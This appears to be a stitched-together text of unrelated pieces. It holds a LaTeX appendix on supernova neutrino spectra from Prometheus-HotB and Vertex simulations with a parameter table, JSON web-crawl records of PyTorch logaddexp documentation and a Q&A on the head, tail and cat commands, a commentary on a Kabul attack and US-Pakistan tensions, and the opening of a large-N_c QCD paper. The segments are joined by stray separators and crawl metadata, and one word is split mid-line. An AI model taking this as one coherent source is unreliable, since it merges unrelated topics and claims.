\caption{Time-integrated spectra, $\mathrm{d} N/\mathrm{d} E$, of electron antineutrinos (normalized by $N_{>15}\,\mathord{=}\,\int_{\unit{15}{MeV}}^{\infty}\mathrm{d} E (\mathrm{d} N/\mathrm{d} E)$) from selected BH-formation simulations of our Z9.6\,\&\,W18 set (with $\ensuremath{M_\mathrm{NS,b}^\mathrm{lim}}\,\mathord{=}\,\unit{2.7}{\ensuremath{\mathrm{M}_\sun}}$; blue solid lines), compared to two BH-formation models that were computed with the \textsc{Prometheus-Vertex} code (dashed lines). In the upper panels the spectra from two exemplary progenitors (s22.1 and s18.0) for different values of the instantaneous spectral-shape parameter $\ensuremath{\alpha_\mathrm{BH}}$ are compared to the \textsc{Vertex} models s40s7b2c and s40.0c, which form BHs relatively ``fast'' (after 0.57\,s at $\ensuremath{M_\mathrm{NS,b}^\mathrm{lim}}\,\mathord{=}\,\unit{2.320}{\ensuremath{\mathrm{M}_\sun}}$) or ``slowly'' (after 2.11\,s at $\ensuremath{M_\mathrm{NS,b}^\mathrm{lim}}\,\mathord{=}\,\unit{2.279}{\ensuremath{\mathrm{M}_\sun}}$), respectively. The lower left panel shows the spectra from the exemplary s28.0 progenitor for different choices of the NS baryonic mass limit \ensuremath{M_\mathrm{NS,b}^\mathrm{lim}}; the lower right panel the spectra for eight different progenitors with increasing accretion times until BH formation (between 1.0\,s and 9.1\,s for the shown case of $\ensuremath{M_\mathrm{NS,b}^\mathrm{lim}}\,\mathord{=}\,\unit{2.7}{\ensuremath{\mathrm{M}_\sun}}$). In both lower panels $\ensuremath{\alpha_\mathrm{BH}}\,\mathord{=}\,2.0$ is taken. Arrows at the bottom of each panel mark the mean energies of the spectra (Equation~\eqref{eq:mean_energy}). The gray shaded vertical bands edge the most relevant energy region of $E\,\mathord{\gtrsim}\,\unit{15}{MeV}$ (see main text for details).\\
\label{fig:appendix_spectra_fSNe}}
\end{figure*}
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Our simplified approach does not provide information on the spectral shape of the neutrino emission. As described in Section~\ref{sec:DSNB_formulation}, we therefore assume a spectral-shape parameter $\alpha$, which is constant in time and for which we adopt different values in Section~\ref{sec:parameter_study}. Here, we examine how well our time-integrated spectra match the outcome of more sophisticated simulations with time-dependent $\alpha$. Moreover, the range of values for the instantaneous shape parameters used in our study shall be motivated in this context.
In Figure~\ref{fig:appendix_spectra}, we compare the time-integrated spectra, $\mathrm{d} N/\mathrm{d} E$, of electron antineutrinos, obtained from exemplary SN simulations of our Z9.6\,\&\,W18 set for different values of the instantaneous spectral-shape parameter $\alpha$ with the spectra from four SN models that were computed with the 1D version of the \textsc{Prometheus-Vertex} code (also see Appendix~\ref{appendix:rescaling} and Table~\ref{tab:flavor_ratios} there). We take models in the same range of ZAMS masses as the \textsc{Vertex} models to compare with, and with NS baryonic masses $M_\mathrm{NS,b}$ similar to those of the \textsc{Vertex} calculations. Because neutrinos emitted with energies less than $\sim$15\,MeV fall below the detection window of 10--30\,MeV for most SNe after accounting for the cosmological redshift, we restrict our comparison to the (most relevant) high-energy range of $E\,\mathord{\gtrsim}\,\unit{15}{MeV}$. Accordingly, we normalize the spectra by $N_{>15}\,\mathord{=}\,\int_{\unit{15}{MeV}}^{\infty}\mathrm{d} E (\mathrm{d} N/\mathrm{d} E)$ for better comparability of their shapes.
We find good overall agreement of our models with the \textsc{Vertex} simulations at energies $E\,\mathord{\gtrsim}\,\unit{15}{MeV}$. There is a noticeable mismatch left of the spectral peak, which is connected to slightly higher mean neutrino energies (by $\sim$1\,MeV) compared to the reference models computed with \textsc{Vertex} (see arrows in Figure~\ref{fig:appendix_spectra} and the values of $\langle E_{\ensuremath{\bar{\nu}_{e}}} \rangle$ in Table~\ref{tab:spectral_parameters}). This cannot be avoided with our chosen normalization, but it is of no relevance as pointed out above. The best fits are achieved when we take an instantaneous shape parameter of $\alpha\,\mathord{=}\,3.5$ for SNe with low-mass NSs ($M_\mathrm{NS,b}\,\mathord{\leqslant}\,\unit{1.6}{\ensuremath{\mathrm{M}_\sun}}$; upper panels) and $\alpha\,\mathord{=}\,3.0$ for SNe with $M_\mathrm{NS,b}\,\mathord{>}\,\unit{1.6}{\ensuremath{\mathrm{M}_\sun}}$ (lower panels). This parameter choice is largely insensitive to variations of the progenitors or of our engine model. We thus use these ``best-fit'' values of $\alpha$ for successful SNe in all of our DSNB calculations (see Section~\ref{sec:fiducial_model}).
For the case of BH-forming, failed SNe we provide an analogous comparison of our time-integrated spectra with two \textsc{Prometheus-Vertex} models in Figure~\ref{fig:appendix_spectra_fSNe}. The two upper panels show the spectra from the exemplary models s22.1 and s18.0 (with our standard value of the NS baryonic mass limit of $\ensuremath{M_\mathrm{NS,b}^\mathrm{lim}}\,\mathord{=}\,\unit{2.7}{\ensuremath{\mathrm{M}_\sun}}$) for different values of the instantaneous spectral-shape parameter ($\alpha\,\mathord{=}\,\ensuremath{\alpha_\mathrm{BH}}$). These two models are chosen such that the mean neutrino energies of their spectra (Equation~\eqref{eq:mean_energy}) are not too different from the ones of the two \textsc{Vertex} models to compare with (see Table~\ref{tab:spectral_parameters}). We find a best fit of the spectra for $\ensuremath{\alpha_\mathrm{BH}}\,\mathord{=}\,2.0$ in both cases (i.e., when the instantaneous spectra are Maxwell-Boltzmann like at all times of emission). This value is used as our fiducial case for failed SNe (see Section~\ref{sec:fiducial_model}).
However, as the neutrino emission from BH-formation events is strongly dependent on the maximum stable mass of cold NSs as well as on the progenitor-specific accretion rates, we also investigate how the spectral shapes change under variation of \ensuremath{M_\mathrm{NS,b}^\mathrm{lim}}\ (lower left panel) or the chosen progenitor (lower right panel). When the NS mass limit is increased from 2.3\,\ensuremath{\mathrm{M}_\sun}\ to 3.5\,\ensuremath{\mathrm{M}_\sun}, the mean energies of the time-integrated spectra rise by roughly 4\,MeV from $\sim$15\,MeV to $\sim$19\,MeV for the exemplary case of model s28.0 (see arrows in the lower left panel of Figure~\ref{fig:appendix_spectra_fSNe}), which leads to a flattened spectral slope. The same trend, i.e. higher mean energies and thus flatter spectral slopes, can also be seen for spectra from progenitors with increasingly late BH formation (compare, e.g., case s18.0 with the rapid BH-formation case s40 in the lower right panel of Figure~\ref{fig:appendix_spectra_fSNe}). Because the comparison to only two \textsc{Vertex} reference models cannot be ultimately conclusive for the optimal choice of the instantaneous $\ensuremath{\alpha_\mathrm{BH}}$ values, we perform a set of DSNB calculations with varied choices of $\ensuremath{\alpha_\mathrm{BH}}$ between 1 and 3 for our BH-formation cases in Section~\ref{subsec:dsnb_parameter_study}. Doing this, we intend to test the uncertainties connected to the spectral variations of the neutrino emission from failed explosions in a systematic way.\\
\section{Spectral Parameters}\label{appendix:spectral_parameters}
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For the sake of completeness and as a community service for the use in future studies, we provide in Table~\ref{tab:spectral_parameters} the spectral parameters (i.e., total radiated neutrino energies, \ensuremath{E_{\nui}^\mathrm{tot}}, mean neutrino energies, $\langle E_{\ensuremath{\nu_{i}}} \rangle$, and spectral-shape parameters, $\overline{\alpha}_{\ensuremath{\nu_{i}}}$) for the time-integrated neutrino emission of all neutrino species (\ensuremath{\bar{\nu}_{e}}, \ensuremath{\nu_{e}}, and \ensuremath{\nu_{x}}) and the same \textsc{Prometheus-Vertex} reference models as listed in Table~\ref{tab:flavor_ratios} as well as for the 8.8\,\ensuremath{\mathrm{M}_\sun}\ ECSN (model ``Sf'') from \citet{2010PhRvL.104y1101H}. Moreover, we also list the values for a selected set of exemplary \textsc{Prometheus-HotB} models (as shown in Figures~\ref{fig:appendix_spectra} and \ref{fig:appendix_spectra_fSNe}). Note that the values of $\overline{\alpha}_{\ensuremath{\nu_{i}}}$ (Equation~\eqref{eq:alpha}) are generally somewhat ($\sim$5--15\%) smaller than the $\alpha$ parameters of the instantaneous neutrino emission (Equation~\eqref{eq:spectral_shape}), i.e., the time-integrated spectra are slightly wider than the instantaneous ones.
We also point out that in the \textsc{Prometheus-Vertex} simulations the total energy released in neutrinos by the cooling PNSs is EoS dependent and for BH-forming cases, in particular, it depends on the accretion time until the NS collapses to a BH. For a comparison of the results obtained from our \textsc{Prometheus-HotB} models with generic values based on the (EoS-independent but NS-radius dependent) fit formula of \citet[see Equation~\eqref{eq:LattimerPrakash}]{2001ApJ...550..426L}, we refer the reader to Appendix~\ref{appendix:total_energies}. For a comparative discussion of the time-integrated neutrino spectra of the \textsc{Prometheus-Vertex} simulations and our best-fit spectra for the \textsc{Prometheus-HotB} models (obtained by suitable choices of the values of the instantaneous shape parameter $\alpha$), we refer the reader to Appendix~\ref{appendix:spectra}.
\begin{deluxetable*}
{lCCCCCCCCCcC}
\tablecaption{Spectral parameters for selected \textsc{Prometheus-Vertex} and \textsc{Prometheus-HotB} models.\label{tab:spectral_parameters}}
\tablehead{
\colhead{Model} & \colhead{$E_{\ensuremath{\bar{\nu}_{e}}}^\mathrm{tot}$} & \colhead{$E_{\ensuremath{\nu_{e}}}^\mathrm{tot}$} & \colhead{$E_{\ensuremath{\nu_{x}}}^\mathrm{tot}$} & \colhead{$\langle E_{\ensuremath{\bar{\nu}_{e}}} \rangle$} & \colhead{$\langle E_{\ensuremath{\nu_{e}}} \rangle$} & \colhead{$\langle E_{\ensuremath{\nu_{x}}} \rangle$} & \colhead{$\overline{\alpha}_{\ensuremath{\bar{\nu}_{e}}}$} & \colhead{$\overline{\alpha}_{\ensuremath{\nu_{e}}}$} & \colhead{$\overline{\alpha}_{\ensuremath{\nu_{x}}}$} & \colhead{Remnant} & \colhead{$M_\mathrm{NS,b}$} \\
\cline{2-4} \cline{5-7} \cline{12-12}
\colhead{} & \multicolumn{3}{c}{[$10^{52}$\,erg]} & \multicolumn{3}{c}{[MeV]} & \multicolumn{3}{c}{} & \colhead{} & \colhead{[\ensuremath{\mathrm{M}_\sun}]}
}
\startdata
\textsc{Vertex}, 8.8\,\ensuremath{\mathrm{M}_\sun}\ ECSN (``Sf'') & 2.67 & 3.20 & 2.62 & 11.6 & 9.5 & 11.5 & 2.49 & 3.06 & 2.10 & NS & 1.366 \\
\textsc{Vertex}, z9.6co, LS220 & 2.93 & 3.28 & 3.17 & 12.4 & 9.7 & 12.4 & 2.51 & 2.82 & 2.03 & NS & 1.361 \\
\textsc{Vertex}, z9.6co, SFHo & 3.13 & 3.49 & 3.31 & 12.1 & 9.6 & 12.0 & 2.83 & 3.03 & 2.24 & NS & 1.363 \\
\textsc{Vertex}, s11.2co, LS220 & 3.09 & 3.56 & 3.02 & 13.7 & 10.6 & 13.6 & 2.90 & 2.76 & 2.34 & NS & 1.366 \\
\textsc{Vertex}, s27.0co, LS220 & 5.72 & 5.99 & 5.37 & 13.7 & 10.9 & 13.1 & 2.25 & 2.15 & 1.82 & NS & 1.776 \\
\textsc{Vertex}, s27.0co, SFHo & 5.91 & 6.24 & 5.68 & 13.6 & 10.9 & 13.2 & 2.61 & 2.50 & 2.11 & NS & 1.772 \\
\textsc{Vertex}, s20.0, SFHo & 7.36 & 7.53 & 6.96 & 14.0 & 11.3 & 13.5 & 2.48 & 2.31 & 2.02 & NS & 1.947 \\
\textsc{Vertex}, s40s7b2c, LS220 & 4.49 & 5.44 & 2.81 & 17.6 & 14.4 & 18.8 & 2.52 & 2.08 & 1.61 & BH (0.57\,s) & (2.320) \\
\textsc{Vertex}, s40.0c, LS220 & 8.62 & 9.38 & 4.83 & 18.7 & 15.7 & 17.6 & 1.95 & 1.58 & 1.41 & BH (2.11\,s) & (2.279) \\
\hline
s10.0, Z9.6, $\alpha\,\mathord{=}\,3.5$, ``L'' & 4.41 & 5.01 & 4.56 & 15.1 & 11.6 & 14.9 & 3.32$^{~3.78}_{~2.85}$ & 3.32$^{~3.78}_{~2.85}$ & 2.67$^{~3.04}_{~2.29}$ & NS & 1.430 \\
s12.25, W18, $\alpha\,\mathord{=}\,3.5$, ``L'' & 5.55 & 6.30 & 5.74 & 14.7 & 11.5 & 14.6 & 3.29$^{~3.75}_{~2.83}$ & 3.32$^{~3.79}_{~2.86}$ & 2.64$^{~3.01}_{~2.27}$ & NS & 1.551 \\
s27.0, W18, $\alpha\,\mathord{=}\,3.0$, ``H'' & 7.21 & 7.51 & 6.84 & 14.9 & 11.7 & 14.3 & 2.83$^{~3.28}_{~2.36}$ & 2.84$^{~3.31}_{~2.38}$ & 2.29$^{~2.66}_{~1.91}$ & NS & 1.742 \\
s21.7, W18, $\alpha\,\mathord{=}\,3.0$, ``H'' & 7.87 & 8.20 & 7.46 & 15.0 & 12.1 & 14.5 & 2.82$^{~3.28}_{~2.36}$ & 2.82$^{~3.28}_{~2.36}$ & 2.29$^{~2.66}_{~1.91}$ & NS & 1.870 \\
s40, W18, $\alpha_\mathrm{BH}\,\mathord{=}\,2.0$, ``F'' & 5.93 & 7.19 & 3.71 & 14.9 & 12.7 & 15.9 & 1.90$^{~2.37}_{~1.43}$ & 1.79$^{~2.23}_{~1.35}$ & 1.21$^{~1.51}_{~0.91}$ & BH (1.03\,s) & (2.7) \\
s23.3, W18, $\alpha_\mathrm{BH}\,\mathord{=}\,2.0$, ``F'' & 8.67 & 10.51 & 5.42 & 15.4 & 13.2 & 16.4 & 1.87$^{~2.33}_{~1.41}$ & 1.76$^{~2.19}_{~1.32}$ & 1.19$^{~1.49}_{~0.90}$ & BH (1.67\,s) & (2.7) \\
s24.1, W18, $\alpha_\mathrm{BH}\,\mathord{=}\,2.0$, ``S'' & 10.83 & 11.78 & 6.07 & 15.6 & 13.5 & 14.7 & 1.85$^{~2.31}_{~1.39}$ & 1.74$^{~2.16}_{~1.31}$ & 1.34$^{~1.67}_{~1.01}$ & BH (2.01\,s) & (2.7) \\
s24.7, W18, $\alpha_\mathrm{BH}\,\mathord{=}\,2.0$, ``S'' & 12.30 & 13.39 & 6.90 & 16.0 & 13.8 & 15.0 & 1.82$^{~2.27}_{~1.37}$ & 1.70$^{~2.11}_{~1.28}$ & 1.32$^{~1.64}_{~0.99}$ & BH (2.46\,s) & (2.7) \\
s22.1, W18, $\alpha_\mathrm{BH}\,\mathord{=}\,2.0$, ``S'' & 14.30 & 15.56 & 8.01 & 16.4 & 14.1 & 15.4 & 1.80$^{~2.24}_{~1.36}$ & 1.68$^{~2.09}_{~1.27}$ & 1.30$^{~1.62}_{~0.98}$ & BH (3.32\,s) & (2.7) \\
s28.0, W18, $\alpha_\mathrm{BH}\,\mathord{=}\,2.0$, ``S'' & 14.53 & 15.81 & 8.14 & 16.7 & 14.6 & 15.7 & 1.76$^{~2.18}_{~1.33}$ & 1.62$^{~2.00}_{~1.22}$ & 1.27$^{~1.58}_{~0.96}$ & BH (3.79\,s) & (2.7) \\
~~~~------------''------------ & 8.72 & 9.49 & 4.89 & 15.1 & 12.8 & 14.2 & 1.89$^{~2.36}_{~1.42}$ & 1.79$^{~2.23}_{~1.35}$ & 1.37$^{~1.71}_{~1.03}$ & BH (2.04\,s) & (2.3) \\
~~~~------------''------------ & 18.46 & 20.09 & 10.35 & 18.1 & 16.1 & 17.0 & 1.63$^{~2.01}_{~1.24}$ & 1.45$^{~1.79}_{~1.10}$ & 1.18$^{~1.45}_{~0.89}$ & BH (5.64\,s) & (3.1) \\
~~~~------------''------------ & 22.06 & 24.01 & 12.37 & 19.3 & 17.4 & 18.1 & 1.53$^{~1.89}_{~1.17}$ & 1.34$^{~1.65}_{~1.02}$ & 1.11$^{~1.36}_{~0.85}$ & BH (7.51\,s) & (3.5) \\
s27.9, W18, $\alpha_\mathrm{BH}\,\mathord{=}\,2.0$, ``S'' & 14.61 & 15.90 & 8.19 & 17.3 & 15.1 & 16.2 & 1.69$^{~2.09}_{~1.28}$ & 1.51$^{~1.87}_{~1.14}$ & 1.22$^{~1.51}_{~0.92}$ & BH (5.11\,s) & (2.7) \\
s18.0, W18, $\alpha_\mathrm{BH}\,\mathord{=}\,2.0$, ``S'' & 14.49 & 15.77 & 8.12 & 17.5 & 15.4 & 16.4 & 1.67$^{~2.07}_{~1.26}$ & 1.46$^{~1.80}_{~1.10}$ & 1.21$^{~1.50}_{~0.91}$ & BH (9.12\,s) & (2.7)
\enddata
\tablecomments{Total energies, \ensuremath{E_{\nui}^\mathrm{tot}}\, radiated in the neutrino species $\ensuremath{\nu_{i}}\,\mathord{=}\,(\ensuremath{\bar{\nu}_{e}},\,\ensuremath{\nu_{e}},\,\ensuremath{\nu_{x}})$, mean energies, $\langle E_{\ensuremath{\nu_{i}}} \rangle$, and shape parameters, $\overline{\alpha}_{\ensuremath{\nu_{i}}}$, of the time-integrated \ensuremath{\nu_{i}}\ spectra according to Equations~\eqref{eq:mean_energy} and \eqref{eq:alpha}, respectively, listed for the same \textsc{Prometheus-Vertex} models as employed in Appendices~\ref{appendix:rescaling} and \ref{appendix:spectra} as well as for the 8.8\,\ensuremath{\mathrm{M}_\sun}\ ECSN (model ``Sf'') from \citet{2010PhRvL.104y1101H}, and for the same subset of \textsc{Prometheus-HotB} models shown in Figures~\ref{fig:appendix_spectra} and \ref{fig:appendix_spectra_fSNe}. Note that $\ensuremath{E_{\nu}^\mathrm{tot}}\,\mathord{=}\,E_{\ensuremath{\bar{\nu}_{e}}}^\mathrm{tot}\,\mathord{+}\,\,E_{\ensuremath{\nu_{e}}}^\mathrm{tot}\,\mathord{+}\,4\,E_{\ensuremath{\nu_{x}}}^\mathrm{tot}$. For our \textsc{Prometheus-HotB} models, we take $E_{\ensuremath{\nu_{i}}}^\mathrm{tot}\,\mathord{=}\,\tilde{\xi}_{\ensuremath{\nu_{i}}} \ensuremath{E_{\nu}^\mathrm{tot}}$, $\langle E_{\ensuremath{\nu_{x}}} \rangle\,\mathord{=}\,\ensuremath{\lambda_{\langle E\rangle}^{\scriptsize\textsc{PV}}}\,\langle E_{\ensuremath{\bar{\nu}_{e}}} \rangle$ and $\ensuremath{\overline{\alpha}_{\nux}}\,\mathord{=}\,\ensuremath{\lambda_{\overline{\alpha}}^{\scriptsize\textsc{PV}}}\,\ensuremath{\overline{\alpha}_{\nuebar}}$ with the conversion factors ($\tilde{\xi}_{\ensuremath{\nu_{i}}}$, \ensuremath{\lambda_{\langle E\rangle}^{\scriptsize\textsc{PV}}}, \ensuremath{\lambda_{\overline{\alpha}}^{\scriptsize\textsc{PV}}}; Equations~\eqref{eq:xi_tilde}, \eqref{eq:lambda_E}, \eqref{eq:lambda_a}) according to the four cases ``L'', ``H'', ``F'', and ``S'' in Table~\ref{tab:flavor_ratios} (see Appendix~\ref{appendix:rescaling}). The values of $\overline{\alpha}_{\ensuremath{\nu_{i}}}$ are given for our best-fit choices of the \textit{instantaneous} spectral-shape parameter (``$\alpha_\mathrm{best}$''; i.e., $\alpha\,\mathord{=}\,3.5$ for SNe with $M_\mathrm{NS,b}\,\mathord{\leqslant}\,\unit{1.6}{\ensuremath{\mathrm{M}_\sun}}$, $\alpha\,\mathord{=}\,3.0$ for SNe with $M_\mathrm{NS,b}\,\mathord{>}\,\unit{1.6}{\ensuremath{\mathrm{M}_\sun}}$, and $\alpha_\mathrm{BH}\,\mathord{=}\,2.0$ for failed SNe; see Appendix~\ref{appendix:spectra}), as well as for the choices of $\alpha_\mathrm{best}\,\mathord{+}\,0.5$ (in superscript) and of $\alpha_\mathrm{best}\,\mathord{-}\,0.5$ (in subscript). The NS-formation cases are sorted according to the baryonic masses of the remnant NSs ($M_\mathrm{NS,b}$; last column), the failed-SN cases according to the times of BH formation ($t_\mathrm{BH}$; second to last column); the baryonic PNS masses at these times are listed in the last column (values in parentheses).}
\end{deluxetable*}
\clearpage
\bibliographystyle{aasjournal}
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{"url":"https:\/\/pytorch.org\/docs\/master\/generated\/torch.logaddexp.html","text":"torch.logaddexp(input, other, *, out=None)Tensor\n\nLogarithm of the sum of exponentiations of the inputs.\n\nCalculates pointwise $\\log\\left(e^x + e^y\\right)$. This function is useful in statistics where the calculated probabilities of events may be so small as to exceed the range of normal floating point numbers. In such cases the logarithm of the calculated probability is stored. This function allows adding probabilities stored in such a fashion.\n\nThis op should be disambiguated with torch.logsumexp() which performs a reduction on a single tensor.\n\nParameters\n\u2022 input (Tensor) \u2013 the input tensor.\n\n\u2022 other (Tensor) \u2013 the second input tensor\n\nKeyword Arguments\n\nout (Tensor, optional) \u2013 the output tensor.\n\nExample:\n\n>>> torch.logaddexp(torch.tensor([-1.0]), torch.tensor([-1.0, -2, -3]))\ntensor([-0.3069, -0.6867, -0.8731])\n>>> torch.logaddexp(torch.tensor([-100.0, -200, -300]), torch.tensor([-1.0, -2, -3]))\ntensor([-1., -2., -3.])\n>>> torch.logaddexp(torch.tensor([1.0, 2000, 30000]), torch.tensor([-1.0, -2, -3]))\ntensor([1.1269e+00, 2.0000e+03, 3.0000e+04])","date":"2021-09-19 13:59:38","metadata":"{\"extraction_info\": {\"found_math\": true, \"script_math_tex\": 0, \"script_math_asciimath\": 0, \"math_annotations\": 1, \"math_alttext\": 0, \"mathml\": 0, \"mathjax_tag\": 0, \"mathjax_inline_tex\": 0, \"mathjax_display_tex\": 0, \"mathjax_asciimath\": 1, \"img_math\": 0, \"codecogs_latex\": 0, \"wp_latex\": 0, \"mimetex.cgi\": 0, \"\/images\/math\/codecogs\": 0, \"mathtex.cgi\": 0, \"katex\": 0, \"math-container\": 0, \"wp-katex-eq\": 0, \"align\": 0, \"equation\": 0, \"x-ck12\": 0, \"texerror\": 0, \"math_score\": 0.8561399579048157, \"perplexity\": 9932.541786199417}, \"config\": {\"markdown_headings\": true, \"markdown_code\": true, \"boilerplate_config\": {\"ratio_threshold\": 0.18, \"absolute_threshold\": 10, \"end_threshold\": 15, \"enable\": true}, \"remove_buttons\": true, \"remove_image_figures\": true, \"remove_link_clusters\": true, \"table_config\": {\"min_rows\": 2, \"min_cols\": 3, \"format\": \"plain\"}, \"remove_chinese\": true, \"remove_edit_buttons\": true, \"extract_latex\": true}, \"warc_path\": \"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780056890.28\/warc\/CC-MAIN-20210919125659-20210919155659-00666.warc.gz\"}"} | null | null |
Home Churchil Picket Reports Risk Assessments Another Attack In Kabul, US Threatens Afghan-US Raids In FATA
Another Attack In Kabul, US Threatens Afghan-US Raids In FATA
The US and NATO commander in Afghanistan Gen John Allen have blamed Taliban-linked Haqqani group for the deadly attack on a resort in Kabul on Thursday. He reiterated the US position that Haqqani network operates from safe havens in Pakistan and blatantly violates Afghan sovereignty.
The elite Afghan forces in collaboration with the NATO troops fought with the insurgents for more than 12-hours in which 20 people lost their lives. The attack accompanied media reports that the US is considering launching covert Afghan-US raids into Pakistan, often called troops on the ground scenario, to hunt down militant groups that are responsible for launching cross-border raids.
In the aftermath of Salala, this could develop into a serious regional escalation. However, reports appearing in Pakistan's media indicate the government has taken a decision to conduct a military operation in North Waziristan.
According to US officials in Washington the joint Afghan-US raids have been discussed a number of times in recent months. However, each time the White House rejected it due to the expected intense diplomatic onslaught from Pakistan. In the aftermath of the Osama Operation and Salala check post incident last year, the relations between the two countries are already on the edge.
Since the Salala attack, Pakistan has kept the NATO's Afghan supply lines suspended and has asked the US for a formal apology, including an assurance that similar attacks will not take place in the future. While US has continued with the drone strikes in FATA despite Pakistan's repeated condemnations, another troop on the ground style strike will be considered the continued violation of its red lines.
On the other hand, while talking to Reuters Defense Secretary Leon Panetta stated last week it was time to move ahead with US-Pakistan ties while ruling out an apology for the Salala incident. He said the regrets and condolences offered in the past should suffice and hoped the relationship could progress. "The time now is to move forward with this relationship, on the (supply routes), on the safe havens, on dealing with terrorism — on dealing with the issues that frankly both of us are concerned about," Panetta said. While visiting Afghanistan earlier, Panetta had commented that US patience with Pakistan was running thin. Panetta also conveyed the US Congress is increasingly opposed to providing aid to Pakistan. In a recent testimony, Panetta had suggested conditioning US assistance to Pakistan with the cooperation in the fight against terrorism.
The issue of reopening supply lines has become entangled with the debate in Pakistan regarding US violations of its sovereignty. On the other hand, the US is equally frustrated by the presence of safe havens in FATA, which are used by militants to attack NATO forces across the border.
As both US and Pakistan appear unwilling to back down from their maximalist positions, it's a matter of time when the US launches another 'troops on the ground' type strike. If it is a joint US-Afghan operation, as threatened, it can potentially transform into a wider Pak-Afghan conflict. A scenario Pakistan has always dreaded due to the involvement of Pushtuns on both sides of the border, with its serious implications.
As far as the domestic public opinion is concerned, Pakistan's perceived inability to respond to any of the previous incursions and incidents leaves very little wiggle room for its military and the civilian government, in case there is another one. This time, the most likely reaction could be the shooting down of a drone.
Short of cutting the relation altogether, there is not much more Pakistan can do diplomatically at this point. Most of its Arab allies, including Turkey, are busy
dealing with Iran and the situation in Syria. While Russia has up the ante in the Middle East recently, any such escalation in AfPak will force China to take a position. In such an atmosphere, unless India does something untoward, Chinese are more than likely advising Pakistan's leaders to tread extremely carefully.
Moreover, the countries mounting economic and energy challenges and the compounding ineffectiveness of its civilian setup, are already a car
use of alarm domestically and international actors. In case such incursions do occur from the Afghan side, the country will be forced to install an emergency government.
In this context, the deployment of Carrier Strike Group (CSG) USS Enterprise in the territorial waters of Pakistan near Gawadar is especially noteworthy. According to media reports, the aircraft carrier was moved there in the second week of June, carrying over 4000 marines and 80 fighter jets.
The surveillance system of the carrier covers over 1000 kilometers, which puts most of the Pakistan in its range. Enterprise is replacing CSG Abraham Lincoln that was located near the Iranian territorial waters previously and has now moved to the Persian Gulf. The placement of these carriers suggests that the US is preparing contingencies for a number of regional scenarios that can play out in the near future.
Meanwhile, reports appearing in Pakistan's media indicate that a decision to conduct a military operation in North Waziristan has been taken by the government of Khyber Pakhtunkhwa and only the timing is yet to be determined.
Previous articleDowning Of The Turkish Jet By Syria Escalate Tensions
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Coronavirus And Arab Spring 2.0
Coronavirus, Race Relations, And Upcoming US Elections
Deteriorating Situation Of Afghanistan And The Emerging US-Pakistan Ties | {
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{"url":"https:\/\/mathsgee.com\/qna\/2740\/how-you-explain-file-content-commands-along-with-description","text":"MathsGee is Zero-Rated (You do not need data to access) on: Telkom |Dimension Data | Rain | MWEB\n\n0 like 0 dislike\n50 views\nHow do you explain file content commands along with the description?\n| 50 views\n\n0 like 0 dislike\n\u2022 head: to check the starting of a file.\n\u2022 tail: to check the ending of the file. It is the reverse of head command.\n\u2022 cat: used to view, create, concatenate the files.\n\u2022 more: used to display the text in the terminal window in pager form.\n\u2022 less: used to view the text in the backward direction and also provides single line movement.\nby Diamond (81,178 points)\n\n0 like 0 dislike\n0 like 0 dislike\n0 like 0 dislike\n0 like 0 dislike","date":"2021-08-05 21:39:46","metadata":"{\"extraction_info\": {\"found_math\": true, \"script_math_tex\": 0, \"script_math_asciimath\": 0, \"math_annotations\": 0, \"math_alttext\": 0, \"mathml\": 0, \"mathjax_tag\": 0, \"mathjax_inline_tex\": 0, \"mathjax_display_tex\": 0, \"mathjax_asciimath\": 1, \"img_math\": 0, \"codecogs_latex\": 0, \"wp_latex\": 0, \"mimetex.cgi\": 0, \"\/images\/math\/codecogs\": 0, \"mathtex.cgi\": 0, \"katex\": 0, \"math-container\": 0, \"wp-katex-eq\": 0, \"align\": 0, \"equation\": 0, \"x-ck12\": 0, \"texerror\": 0, \"math_score\": 0.23898248374462128, \"perplexity\": 11358.522160049093}, \"config\": {\"markdown_headings\": false, \"markdown_code\": true, \"boilerplate_config\": {\"ratio_threshold\": 0.18, \"absolute_threshold\": 10, \"end_threshold\": 15, \"enable\": true}, \"remove_buttons\": true, \"remove_image_figures\": true, \"remove_link_clusters\": true, \"table_config\": {\"min_rows\": 2, \"min_cols\": 3, \"format\": \"plain\"}, \"remove_chinese\": true, \"remove_edit_buttons\": true, \"extract_latex\": true}, \"warc_path\": \"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046157039.99\/warc\/CC-MAIN-20210805193327-20210805223327-00457.warc.gz\"}"} | null | null |
\section{Introduction}
The study of large-$N_c$ QCD finds its origin in the lack of obvious expansion parameter for QCD: Setting the number of colors equal to a large value $N_c$ instead of 3 allows indeed to make perturbative expansions in $1/N_c$~\cite{hoof}. The relevance of such a framework demands that a world in which the number of colors is very large should not be too different from our QCD world. The many successes of large-$N_c$ methods in understanding experimental as well as theoretical features of QCD provide an excellent \textit{a posteriori} justification of that statement~\cite{manohar}. Moreover, lattice and AdS/CFT-based calculations of various observables using different gauge groups strongly favor the idea that SU(3) is actually close to SU($\infty$) (see \textit{e.g.}~\cite{teper}).
The standard way of generalizing QCD to a large number of colors is also the first one proposed in the literature, by 't~Hooft~\cite{hoof}. It consists in taking the quarks in the fundamental representation of SU($N_c$), and then letting the number of colors becoming arbitrarily large while the so-called 't~Hooft coupling $g^2 N_c$ remains constant for any $N_c$ ($g$ is the strong coupling constant). Note that in the 't~Hooft limit, the number of quark flavors remains finite; later Veneziano would propose to set $N_f=O(N_c)$~\cite{vene} so that the theory remains planar, but the internal quark loops are no longer suppressed as in the 't~Hooft limit. However, it has been noticed soon after 't~Hooft proposal that the extrapolation of QCD to arbitrary $N_c$ is not unique: The only theoretical constraint is indeed that the resulting theory reduces to QCD at $N_c=3$~\cite{corr}. In this last reference for example, it has been suggested that some quark flavors could be in the $A_{N_c-2}$ representation, that is the $(N_c-2)$-indices antisymmetric representation, equal to the fundamental one at $N_c=3$. This is called the Corrigan-Ramond limit. Moreover, since the fundamental and $A_2$ representations are equivalent for SU(3), another large-$N_c$ limit can be proposed in which quarks are taken to be in the $A_2$ representation of SU($N_c$). Denoted QCD$_{{\rm AS}}$, that limit interestingly leads to a theory equivalent to ${\cal N}=1$ SUSY Yang-Mills, as shown in \cite{qcdas}.
